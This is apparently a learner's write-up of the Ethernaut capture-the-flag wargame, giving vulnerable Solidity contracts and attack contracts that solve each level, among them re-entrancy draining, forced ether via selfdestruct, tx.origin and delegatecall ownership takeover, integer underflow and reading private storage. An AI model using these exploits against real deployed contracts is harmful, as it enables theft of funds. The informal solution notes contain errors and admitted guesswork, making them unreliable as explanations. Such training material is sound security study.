Ethernaut
Study Material
Ethernaut, a CTF-like smart contract security challenge writeup
1. Ethernaut0 - Hello Ethernaut
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Instance {
string public password;
uint8 public infoNum = 42;
string public theMethodName = 'The method name is method7123949.';
bool private cleared = false;
// constructor
constructor(string memory _password) {
password = _password;
}
function info() public pure returns (string memory) {
return 'You will find what you need in info1().';
}
function info1() public pure returns (string memory) {
return 'Try info2(), but with "hello" as a parameter.';
}
function info2(string memory param) public pure returns (string memory) {
if(keccak256(abi.encodePacked(param)) == keccak256(abi.encodePacked('hello'))) {
return 'The property infoNum holds the number of the next info method to call.';
}
return 'Wrong parameter.';
}
function info42() public pure returns (string memory) {
return 'theMethodName is the name of the next method.';
}
function method7123949() public pure returns (string memory) {
return 'If you know the password, submit it to authenticate().';
}
function authenticate(string memory passkey) public {
if(keccak256(abi.encodePacked(passkey)) == keccak256(abi.encodePacked(password))) {
cleared = true;
}
}
function getCleared() public view returns (bool) {
return cleared;
}
}
1.1 Solution
Starting from contract.info() which redirecting me to a function that change “cleared” to true;
1.2 Remark
Know the basic of smart contract function calling
- player (get the player address)
- getBalance(player) / await getBalancer(player) *if reads “pending”
- ethernaut (get the contract)
- ethernaut.owenr()
- contract.info() <- Ethernaut0’s starting point
2. Ethernaut1 - Fallback
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Fallback {
mapping(address => uint) public contributions;
address public owner;
constructor() {
owner = msg.sender;
contributions[msg.sender] = 1000 * (1 ether);
}
modifier onlyOwner {
require(
msg.sender == owner,
"caller is not the owner"
);
_;
}
function contribute() public payable {
require(msg.value < 0.001 ether);
contributions[msg.sender] += msg.value;
if(contributions[msg.sender] > contributions[owner]) {
owner = msg.sender;
}
}
function getContribution() public view returns (uint) {
return contributions[msg.sender];
}
function withdraw() public onlyOwner {
payable(owner).transfer(address(this).balance);
}
receive() external payable {
require(msg.value > 0 && contributions[msg.sender] > 0);
owner = msg.sender;
}
}
2.1 Solution
Leverage contribute() & receive()
- Contribute > 1000ether will become the contract owner (as a CTF-like challenge, surely it’s not the way)
- Contribute() few ether
- Use low level interaction to trigger receive(), as contribute few ether to the contract which the require() will be fullfilled. Then, becomes the contract owner with <1000 ether contribution
2.2 Remark
Remix’s low level interactions can trigger receive
- how to call fallback?
- Remix’s low level interactions is using transfer/send?
3. Ethernaut2 - Fallout
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
import 'openzeppelin-contracts-06/math/SafeMath.sol';
contract Fallout {
using SafeMath for uint256;
mapping (address => uint) allocations;
address payable public owner;
/* constructor */
function Fal1out() public payable {
owner = msg.sender;
allocations[owner] = msg.value;
}
modifier onlyOwner {
require(
msg.sender == owner,
"caller is not the owner"
);
_;
}
function allocate() public payable {
allocations[msg.sender] = allocations[msg.sender].add(msg.value);
}
function sendAllocation(address payable allocator) public {
require(allocations[allocator] > 0);
allocator.transfer(allocations[allocator]);
}
function collectAllocations() public onlyOwner {
msg.sender.transfer(address(this).balance);
}
function allocatorBalance(address allocator) public view returns (uint) {
return allocations[allocator];
}
}
3.1 Solution
Call Fal1out() function directly by removing other unecessary funciton, then deploy on remix at the instance address. *Fal1out() is a fake constructor, constructor in solidty should be constructor.
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
contract Fallout {
mapping (address => uint) allocations;
address payable public owner;
/* constructor */
function Fal1out() public payable {
owner = msg.sender;
allocations[owner] = msg.value;
}
}
3.2 Remark
constructor is an optional function that execute contract creation. Should be implement in the way as below
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
// Base contract X
contract X {
string public name;
constructor(string memory _name) {
name = _name;
}
}
4. Ethernaut4 - Coin Flip
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract CoinFlip {
uint256 public consecutiveWins;
uint256 lastHash;
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
constructor() {
consecutiveWins = 0;
}
function flip(bool _guess) public returns (bool) {
uint256 blockValue = uint256(blockhash(block.number - 1));
if (lastHash == blockValue) {
revert();
}
lastHash = blockValue;
uint256 coinFlip = blockValue / FACTOR;
bool side = coinFlip == 1 ? true : false;
if (side == _guess) {
consecutiveWins++;
return true;
} else {
consecutiveWins = 0;
return false;
}
}
}
4.1 Solution
As blocknumber & blockhash can be calculated by us before calling the flip().
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract CoinFlip {
uint256 public consecutiveWins;
uint256 lastHash;
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
constructor() {
consecutiveWins = 0;
}
function flip(bool _guess) public returns (bool) {
uint256 blockValue = uint256(blockhash(block.number - 1));
if (lastHash == blockValue) {
revert();
}
lastHash = blockValue;
uint256 coinFlip = blockValue / FACTOR;
bool side = coinFlip == 1 ? true : false;
if (side == _guess) {
consecutiveWins++;
return true;
} else {
consecutiveWins = 0;
return false;
}
}
}
contract CoinFlip_guess {
uint256 lastHash;
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
CoinFlip private abc= CoinFlip(**INSTANCE ADDRESS**);
function setCoinFlip(address _addr) public payable{
abc = CoinFlip(_addr);
}
function flip_guess() public returns (bool){
uint256 blockValue = uint256(blockhash(block.number - 1));
lastHash = blockValue;
uint256 coinFlip = blockValue / FACTOR;
bool side = coinFlip == 1 ? true : false;
return abc.flip(side);
}
}
4.2 Remark
address.transfer(_amount)
address.transfer(_amount)
address.transfer(_amount)
address.transfer(_amount)
address.transfer(_amount)
Recognized how slow blockchian is…… Annoyed
- How to call another contract? smart contract call another smart contract
- How to get another contract’s blocknumber/blockhash? not other contract…contract instnace, public accessible while calling the contract
- Got this error while using browser remix “Gas estimation failed” (*click “cancel”, otherwise need to referesh the browser)
5. Ethernaut5 - Telephone
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Telephone {
address public owner;
constructor() {
owner = msg.sender;
}
function changeOwner(address _owner) public {
if (tx.origin != msg.sender) {
owner = _owner;
}
}
}
5.1 Solution
tx.origin vs msg.sender
tx.origin: address of the EOA (externally ownder account)
msg.sender: address that currenlty executing the contract
WRONG
CORRECT
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Telephone {
address public owner;
constructor() {
owner = msg.sender;
}
function changeOwner(address _owner) public {
if (tx.origin != msg.sender) {
owner = _owner;
}
}
}
contract Call {
Telephone abc = Telephone(**INSTASNCE ADDRESS**);
function change() public{
abc.changeOwner(**YOUR WALLET ADDRESS**);
}
}
5.2 Remark
- How to call another contract? smart contract call another smart contract
6. Ethernaut6 - Token
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
contract Token {
mapping(address => uint) balances;
uint public totalSupply;
constructor(uint _initialSupply) public {
balances[msg.sender] = totalSupply = _initialSupply;
}
function transfer(address _to, uint _value) public returns (bool) {
require(balances[msg.sender] - _value >= 0);
balances[msg.sender] -= _value;
balances[_to] += _value;
return true;
}
function balanceOf(address _owner) public view returns (uint balance) {
return balances[_owner];
}
}
6.1 Solution
Solution1
Typical overflow, uint, 0-1=a very large number, transfer(VALID_WALLET,-21)
Solution2
Create another contract, send a large number to wallet, idk why it works, but works
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
contract Token {
mapping(address => uint) balances;
uint public totalSupply;
constructor(uint _initialSupply) public {
balances[msg.sender] = totalSupply = _initialSupply;
}
function transfer(address _to, uint _value) public returns (bool) {
require(balances[msg.sender] - _value >= 0);
balances[msg.sender] -= _value;
balances[_to] += _value;
return true;
}
function balanceOf(address _owner) public view returns (uint balance) {
return balances[_owner];
}
}
contract TwiceTransfer{
Token abc = Token(**INSTANCE_ADDRESS**);
function twiceTransfer() public{
abc.transfer(**WALLET_ADDRESS**,2000000000);
}
}
6.2 Remark
- Why Solution2 works? should stops at “require(balances[msg.sender] - _value >= 0);”
- import “hardhat/console.sol”; //for debugging
7. Ethernaut7 - Delegation
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Delegate {
address public owner;
constructor(address _owner) {
owner = _owner;
}
function pwn() public {
owner = msg.sender;
}
}
contract Delegation {
address public owner;
Delegate delegate;
constructor(address _delegateAddress) {
delegate = Delegate(_delegateAddress);
owner = msg.sender;
}
fallback() external {
(bool result,) = address(delegate).delegatecall(msg.data);
if (result) {
this;
}
}
}
7.1 Solution
df: fallback(), will be triggered as below:
- calling an non-exists function
- Low level interaction that no receive() or msg.data is not empty
contract.sendTransaction({data:web3.utils.sha3(“pwn()”).slice(0,10)});;
7.2 Remark
Was trying to calculate the pwn() bytes, annoyed,
- if any way to call contract with .sol
- how to calculate the bytes
- what’s bytes4
- how can I know this before heading to a walkthrough
Another way to do low level call: contract.sendTransaction({data:web3.utils.sha3(“pwn()”).slice(0,10)});
Method id: 4 bytes, 0xaabbccdd
8. Ethernaut8 - Force
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Force {/*
MEOW ?
/\_/\ /
____/ o o \
/~____ =ø= /
(______)__m_m)
*/}
8.1 Solution
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Force {/*
MEOW ?
/\_/\ /
____/ o o \
/~____ =ø= /
(______)__m_m)
*/}
contract Hack {
constructor(address payable _target) payable {
selfdestruct(_target);
}
}
8.2 Remark
How do I know selfdestrcut????
Anyway, contract amount can be manipulated by anyone else, don’t use it as a decision factor
9. Ethernaut9 - Vault
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Vault {
bool public locked;
bytes32 private password;
constructor(bytes32 _password) {
locked = true;
password = _password;
}
function unlock(bytes32 _password) public {
if (password == _password) {
locked = false;
}
}
}
9.1 Solution
bytes32 private password is “private”, but blockchain is open to all
9.2 Remark
2 ways to get input data:
- “Input Data” under etherscan’s transaction hash
- await web3.eth.getStorageAt(instance, 1)
10. Ethernaut10 - King
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract King {
address king;
uint public prize;
address public owner;
constructor() payable {
owner = msg.sender;
king = msg.sender;
prize = msg.value; //number of wei send
}
receive() external payable {
require(msg.value >= prize || msg.sender == owner);
payable(king).transfer(msg.value);
king = msg.sender;
prize = msg.value;
}
function _king() public view returns (address) {
return king;
}
}
10.1 Solution
seems pretty bad that everybody can control any eth to any wallet……. but OK for rechaing the level goal.
contract kingking{
address payable abc;
constructor() payable {
}
function sendwei(uint _wei) public {
(bool success, bytes memory data) = abc.call{value: _wei}("");
console.log(success);
console.logBytes(data);
}
function setaddress(address payable _king) public {
abc = _king;
}
}
10.2 Remark
- Making transaction
- address.send(_amount)
- address.call.value(_amount).gas(35000)()
- address.transfer(_amount)
- How to calculate gas usage before calling the contract?
- Transaction (call, send, transfer) detailed send&transfer
- constructor payable for receiving eht when deploy contracts.
11. Ethernaut11 - Re-entrancy
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;
import 'openzeppelin-contracts-06/math/SafeMath.sol';
contract Reentrance {
using SafeMath for uint256;
mapping(address => uint) public balances;
function donate(address _to) public payable {
balances[_to] = balances[_to].add(msg.value);
}
function balanceOf(address _who) public view returns (uint balance) {
return balances[_who];
}
function withdraw(uint _amount) public {
if(balances[msg.sender] >= _amount) {
(bool result,) = msg.sender.call{value:_amount}("");
if(result) {
_amount;
}
balances[msg.sender] -= _amount;
}
}
receive() external payable {}
}
11.1 Solution
Deploy Attack contract, then use donate 0.001eth to the deployed contract address via victim’s donate function. Then trigger attack, leverging fallback to call withdraw 2 times before the contract update the balance value.
contract Attack{
Reentrance public victim;
constructor( address payable _target) public{
victim = Reentrance(_target);
}
// Fallback is called when DepositFunds sends Ether to this contract.
fallback() external payable {
victim.withdraw(1000000000000000);
}
function attack() external payable {
victim.withdraw(1000000000000000);
}
function tran(uint _amount) public{
address(**YOUR_WALLET**).call{value:_amount}("");
}
}
11.2 Remark
Learn new things takes time, even the challenge is a famous one….
12. Ethernaut12 - Elevator
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface Building {
function isLastFloor(uint) external returns (bool);
}
contract Elevator {
bool public top;
uint public floor;
function goTo(uint _floor) public {
Building building = Building(msg.sender);
if (! building.isLastFloor(_floor)) {
floor = _floor;
top = building.isLastFloor(floor);
}
}
}
12.1 Solution
Create an new contract and deploy by using the Building interface, then have the control of function isLastFloor, then deploy our new contract, use the deployed contract to call Elevator.goTo. Then isLastFloor inside the Elevator.goTo will call our customized isLastFloor function.
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "hardhat/console.sol";
interface Building {
function isLastFloor(uint) external returns (bool);
}
contract Elevator {
bool public top;
uint public floor;
function goTo(uint _floor) public {
Building building = Building(msg.sender);
//console.log(building.isLastFloor(_floor));
if (! building.isLastFloor(_floor)) {
floor = _floor;
top = building.isLastFloor(floor);
}
}
}
contract new_building is Building{
uint public floor;
bool public top;
Elevator public abc = Elevator(INSTANCE_ADDRESS);
uint public counter;
function setElevator(address _Elevator) external{
abc = Elevator(_Elevator);
}
function isLastFloor(uint _floor) external returns (bool){
floor = _floor;
if (counter == 0){
counter +=1;
return false;
}
return true;
}
function goTo() external{
abc.goTo(3);
}
}
12.2 Remark
Modifiers (pure vs view vs default)
external vs public(both externa & internal) vs internal (also private)
- gas usage & performance (external&internal) > public
13. Ethernaut13 - Privacy
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Privacy {
bool public locked = true;
uint256 public ID = block.timestamp;
uint8 private flattening = 10;
uint8 private denomination = 255;
uint16 private awkwardness = uint16(block.timestamp);
bytes32[3] private data;
constructor(bytes32[3] memory _data) {
data = _data;
}
function unlock(bytes16 _key) public {
require(_key == bytes16(data[2]));
locked = false;
}
/*
A bunch of super advanced solidity algorithms...
,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`
.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,
*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^ ,---/V\
`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*. ~|__(o.o)
^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*' UU UU
*/
}
13.1 Solution
memory data can’t be written by external party, but readable by everyone at anytime.
13.2 Remark
web3.eth.getStorageAt(“ADDRESS”, SLOT_NUM);
14. Ethernaut14 - Gatekeeper One
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "hardhat/console.sol";
contract GatekeeperOne {
address public entrant;
modifier gateOne() {
require(msg.sender != tx.origin);
console.log("1");
_;
}
modifier gateTwo() {
console.log(gasleft());
require(gasleft() % 8191 == 0);
console.log("2");
_;
}
modifier gateThree(bytes8 _gateKey) {
require(uint32(uint64(_gateKey)) == uint16(uint64(_gateKey)), "GatekeeperOne: invalid gateThree part one");
require(uint32(uint64(_gateKey)) != uint64(_gateKey), "GatekeeperOne: invalid gateThree part two");
require(uint32(uint64(_gateKey)) == uint16(uint160(tx.origin)), "GatekeeperOne: invalid gateThree part three");
_;
}
function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
entrant = tx.origin;
return true;
}
}